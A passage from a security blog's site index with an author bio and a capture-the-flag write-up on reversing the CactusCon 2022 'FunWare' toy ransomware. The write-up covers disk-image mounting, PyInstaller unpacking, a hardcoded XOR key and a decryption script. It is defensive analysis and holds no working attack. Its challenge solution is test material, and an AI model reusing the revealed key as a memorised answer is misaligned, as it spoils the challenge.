and I specialize in proactively identifying, exploiting, and mitigating vulnerabilities within networks, applications, and systems before malicious actors can leverage them. My interest in cybersecurity started back in 2019 when I finished watching a brilliant TV show called Mr. Robot — turns out, diving into the world of digital anarchy ignited a passion that pushed me into ethical hacking.\nDriven by a hacker mindset, I perform targeted penetration testing across web apps, networks, and binaries—focusing on manual analysis, custom exploit development, and logic-based attack vectors. Skilled in reverse engineering C/C, x86 x64, source code review, and cryptographic flaw discovery. Experienced in low-noise recon, scripting, and chaining vulnerabilities to simulate real-world attacks effectively\n","date":"2022-06-13","externalUrl":null,"permalink":"/about/","section":"","summary":"\u003cp\u003eHello! My name is Vaishnav and I specialize in proactively identifying, exploiting, and mitigating vulnerabilities within networks, applications, and systems before malicious actors can leverage them. My interest in cybersecurity started back in 2019 when I finished watching a brilliant TV show called \u003cstrong\u003eMr. Robot\u003c/strong\u003e — turns out, diving into the world of digital anarchy ignited a passion that pushed me into ethical hacking.\u003c/p\u003e","title":"About","type":"page"},{"content":" Prologue — Digging Through Bytes # I remember that lazy afternoon. Coffee was cold. The air around me was still, except for the quiet hum of my laptop. I booted up the CactusCon 2022 CTF and saw something that immediately got my attention: FunWare. A name oddly whimsical for what turned out to be a ransomware reversing challenge.\nInitial Recon — Mounting The Disk # The first artifact was a .img file — a disk image. First instinct? Mount it and see what\u0026rsquo;s hiding.\nfdisk -l funware.img mount -o loop funware.img /mnt/funware ls /mnt/funware Once mounted, I wandered through the filesystem. Nothing too odd at first — until I stumbled upon a directory filled with encrypted files and a single suspicious binary named funware.\nMy gut said PyInstaller. That hunch would prove right.\nBinary Dissection — PyInstaller Unpacking # Before diving in, I confirmed the binary type.\nfile funware Output?\nfunware: ELF 64-bit LSB executable, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2 Smelled like Python inside a wrapper. So I used the go-to combo: binwalk and pyinstxtractor.\nbinwalk -e funware python3 pyinstxtractor.py funware Inside the extracted directory, I was greeted with .pyc files and embedded Python modules. Now we were talking.\nCode Analysis — Unraveling the XOR Logic # One of the files caught my eye — something like ransomcore.pyc. I decompiled it with uncompyle6.\nuncompyle6 ransomcore.pyc \u0026gt; ransomcore.py The encryption logic looked something like this:\ndef xor_encrypt(data, key): return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)]) There it was — classic XOR with a hardcoded key.\nThe key?\nkey = b\u0026#39;c4ctu5c0n\u0026#39; I took a moment. Laughed. Of course they had to use \u0026ldquo;cactuscon\u0026rdquo; leetspeak.\nDecryption — Breaking The Cipher # I threw together a quick Python script to decrypt all files under the /mnt/funware/encrypted directory.\nimport os KEY = b\u0026#39;c4ctu5c0n\u0026#39; def xor_decrypt(data, key): return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)]) enc_dir = \u0026#39;/mnt/funware/encrypted\u0026#39; out_dir = \u0026#39;/mnt/funware/decrypted\u0026#39; os.makedirs(out_dir, exist_ok=True) for fname in os.listdir(enc_dir): path = os.path.join(enc_dir, fname) with open(path, \u0026#39;rb\u0026#39;) as f: encrypted = f.read() decrypted = xor_decrypt(encrypted, KEY) with open(os.path.join(out_dir, fname), \u0026#39;wb\u0026#39;) as f: f.write(decrypted) Verification — Known Header Analysis # After decryption, I picked one file and opened it in a hex viewer. The header matched the PNG magic bytes:\n89 50 4E 47 0D 0A 1A 0A Clean. Confirmed.\nReflections — Skills Sharpened # This wasn’t just about reversing some toy ransomware. It was about chaining multiple disciplines:\nDisk image forensics PyInstaller unpacking XOR key analysis Bulk decryption and verification The process felt like solving a puzzle — one byte at a time.\nBonus — Alternate Decryption in CyberChef # After identifying the XOR key, I also used CyberChef to test out decryption on one file.\nSteps:\nLoad file as hex Use \u0026ldquo;XOR Brute Force\u0026rdquo; or manual XOR with c4ctu5c0n Output matched the Python result That double validation added confidence.\nEpilogue — Quiet Satisfaction # There’s a weird peace in reversing malware. Watching obfuscation crumble, revealing intent beneath noise. FunWare wasn’t the hardest challenge, but it was methodical — and that’s what I loved.\nI left the decrypted files intact, zipped the Python scripts, and closed the terminal.\nJust another quiet day cracking binaries.\n","date":"2022-02-07","externalUrl":null,"permalink":"/capturetheflag/funware/","section":"CaptureTheFlags","summary":"\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003ePrologue — Digging Through Bytes\u003c/strong\u003e \n    \u003cdiv id=\"prologue--digging-through-bytes\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--digging-through-bytes\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003eI remember that lazy afternoon. Coffee was cold. The air around me was still, except for the quiet hum of my laptop. I booted up the CactusCon 2022 CTF and saw something that immediately got my attention: \u003cstrong\u003eFunWare\u003c/strong\u003e. A name oddly whimsical for what turned out to be a ransomware reversing challenge.\u003c/p\u003e","title":"Decrypting Shadows: Reversing Ransomware from CactusCon's FunWare","type":"capturetheflag"},{"content":"","date":"2022-02-07","externalUrl":null,"permalink":"/tags/disk-image/","section":"Tags","summary":"","title":"Disk Image","type":"tags"},{"content":"","date":"2022-02-07","externalUrl":null,"permalink":"/categories/forensics/","section":"Categories","summary":"","title":"Forensics","type":"categories"},{"content":"","date":"2022-02-07","externalUrl":null,"permalink":"/tags/pyinstaller/","section":"Tags","summary":"","title":"PyInstaller","type":"tags"},{"content":"","date":"2022-02-07","externalUrl":null,"permalink":"/tags/python-re/","section":"Tags","summary":"","title":"Python RE","type":"tags"},{"content":"","date":"2022-02-07","externalUrl":null,"permalink":"/tags/ransomware/","section":"Tags","summary":"","title":"Ransomware","type":"tags"},{"content":"","date":"2022-02-07","externalUrl":null,"permalink":"/tags/xor-decryption/","section":"Tags","summary":"","title":"XOR Decryption","type":"tags"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]